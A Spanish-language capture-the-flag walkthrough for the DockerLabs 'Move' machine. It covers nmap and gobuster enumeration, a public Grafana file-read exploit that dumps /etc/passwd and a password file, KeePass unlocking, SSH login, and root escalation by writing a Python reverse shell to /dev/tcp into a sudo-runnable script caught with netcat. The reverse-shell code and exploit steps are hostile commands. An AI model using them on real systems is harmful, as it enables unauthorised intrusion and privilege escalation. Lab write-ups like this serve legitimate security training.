Move DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip move.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh move.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 10:34 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000028s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    1 0        0            4096 Mar 29  2024 mantenimiento [NSE: writeable]
22/tcp   open  ssh     OpenSSH 9.6p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 
|   256 77:0b:34:36:87:0d:38:64:58:c0:6f:4e:cd:7a:3a:99 (ECDSA)
|_  256 1e:c6:b2:91:56:32:50:a5:03:45:f3:f7:32:ca:7b:d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Debian))
|_http-server-header: Apache/2.4.58 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 17 Jan 2025 15:35:27 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 17 Jan 2025 15:34:57 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 17 Jan 2025 15:35:02 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=1/17%Time=678A78A1%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Con
SF:trol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nEx
SF:pires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cooki
SF:e:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Prot
SF:ection:\x201;\x20mode=block\r\nDate:\x20Fri,\x2017\x20Jan\x202025\x2015
SF::34:57\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Fou
SF:nd</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\n
SF:Cache-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\n
SF:Pragma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Ht
SF:tpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Fram
SF:e-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x2
SF:0Fri,\x2017\x20Jan\x202025\x2015:35:02\x20GMT\r\nContent-Length:\x200\r
SF:\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSS
SF:essionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Fou
SF:nd\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cac
SF:he\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.
SF:txt%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-
SF:Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x2
SF:01;\x20mode=block\r\nDate:\x20Fri,\x2017\x20Jan\x202025\x2015:35:27\x20
SF:GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n
SF:\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.91 seconds

Vemos varias cosas interesantes, si realizamos un poco de fuzzing en el puerto 80 veremos lo siguiente:

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10701]
/maintenance.html     (Status: 200) [Size: 63]
/server-status        (Status: 403) [Size: 275]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos una pagina llamada /maintenance.html que si entramos veremos lo siguiente:

Por el momento no hay nada mas interesante que eso, por lo que nos iremos al puerto 3000 a ver que hay.

Escalate user freddy

Exploit Grafana

Vemos que es un Software llamado Grafana, si vemos algun exploit para el mismo, vemos el siguiente:

URL = Exploit Grafana

Vemos un exploit de python3 por lo que haremos lo siguiente, primero nos lo descargaremos y lo ejecutaremos asi:

python3 50581.py -H http://172.17.0.2:3000

Info:

Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
ftp:x:101:104:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
grafana:x:103:105::/usr/share/grafana:/bin/false
freddy:x:1000:1000::/home/freddy:/bin/bash

Vemos que nos lista de forma correcta los usuarios, por lo que si recordamos en la parte de /maintenance.html nos comentaba que habia algo en la ubicacion /tmp/pass.txt por lo que vamos a ver que contiene:

Read file > /tmp/pass.txt

Info:

t9sH76gpQ82UFeZ3GXZS

Vemos que puede ser una contraseña en texto plano, pero antes veremos lo del FTP.

FTP

Vamos a ver que hay en el ftp.

ftp anonymous@<IP>

Vemos que nos deja entrar por anonimo, si enumeramos un poco, veremos que hay un archivo llamado database.kdbx el cual nos descargaremos:

get database.kdbx

Vemos que es un archivo de KeePass, si lo cargamos de la siguiente forma:

sudo apt install keepassxc

Una vez instalado, lo abriremos poniendo solo keepassxc y cargaremos el archivo .kdbx pero nos pedira una contraseña, meteremos como contraseña t9sH76gpQ82UFeZ3GXZS y veremos que se nos debloquea, veremos lo siguiente:

Por lo que vemos es la contraseña de freddy, vamos a conectarnos por ssh de la siguiente forma:

ssh freddy@<IP>

Metemos como contraseña t9sH76gpQ82UFeZ3GXZS y veremos que somos dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for freddy on 71afbc5c001e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User freddy may run the following commands on 71afbc5c001e:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py

Vemos que podemos ejecutar maintenance.py como el usuario root por lo que haremos lo siguiente:

Si enumeramos los permisos que tiene el archivo...

ls -la /opt/maintenance.py

Info:

-rw-r--r-- 1 freddy freddy 35 Mar 29  2024 /opt/maintenance.py

Vemos que el archivo es nuestro, por lo que podremos editarlo:

nano /opt/maintenance.py

#Dentro del nano
import subprocess
comando = "/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"
subprocess.run(comando, shell=True)

Guardamos esto y antes de ejecutarlo, nos pondremos a la escucha:

nc -lvnp <PORT>

Ahora ejecutamos el script de la siguiente forma:

sudo python3 /opt/maintenance.py

Y si nos volvemos a la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 36316
┌──(root㉿71afbc5c001e)-[/opt]
└─# whoami
whoami
root

Veremos que ya seremos root, por lo que habremos terminado.

PreviousFindYouStyle DockerLabs (Easy)NextLos 40 Ladrones DockerLabs (Easy)

Last updated 7 days ago